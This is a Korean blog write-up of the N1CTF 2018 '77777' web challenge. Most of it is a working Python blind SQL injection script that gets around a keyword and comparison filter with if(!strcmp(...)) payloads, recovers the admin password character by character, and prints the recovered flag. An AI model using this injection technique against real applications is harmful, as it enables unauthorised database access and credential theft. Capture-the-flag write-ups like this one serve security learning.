N1CTF 2018 77777

CTF/Writeup 2018. 3. 12. 14:56

글쓴 시점에 대회가 진행중이라 대회종료 후 게시글은 공개글로 전환하도록 하겠다.

 

들어가보면 별다른 기능은없고 소스코드를 다음과 같은 식으로 보여준다.

 

 

flag 파라미터값은 %d로 뿌려지기때문에 정수로 모두 변환되어 hi파라미터에서 인젝션을 터트리면된다. 근데 waf라는 함수가 입력값 검증을 해 테스트해본 결과 몇몇 키워드 및 비교연산자들을 필터링하고 있었다. 다음과 같이 페이로드 짜서 admin 패스워드값(flag)을 구했다.

import urllib2

def request(data):
url = "http://47.75.14.48/"
req = urllib2.Request(url,data)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
response = urllib2.urlopen(req).read()

if "1001" in str(response):
return True
else:
return False

length = 0
for i in range(0,100):
payload = "flag=1&hi=" + urllib2.quote("+if(!strcmp(length(password),"+str(i)+"),1000,0)")
if request(payload)==True:
print "[*]Find Admin Length = " + str(i)
length = i
break
password = ""
for i in range(1,length+1):
for j in range(32,128):
payload = "flag=1&hi=" + urllib2.quote("+if(!strcmp(ord(mid(password," + str(i) + ",1)),"+str(j)+"),1000,0)")
if request(payload)==True:
password += chr(j)
break

print "[*]Find Admin Password = "+password
print "[*]Find flag= N1CTF{"+password+"}"

[*]Find Admin Length = 13
[*]Find Admin Password = he3l3locat233
[*]Find flag= N1CTF{he3l3locat233}

 

 

 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,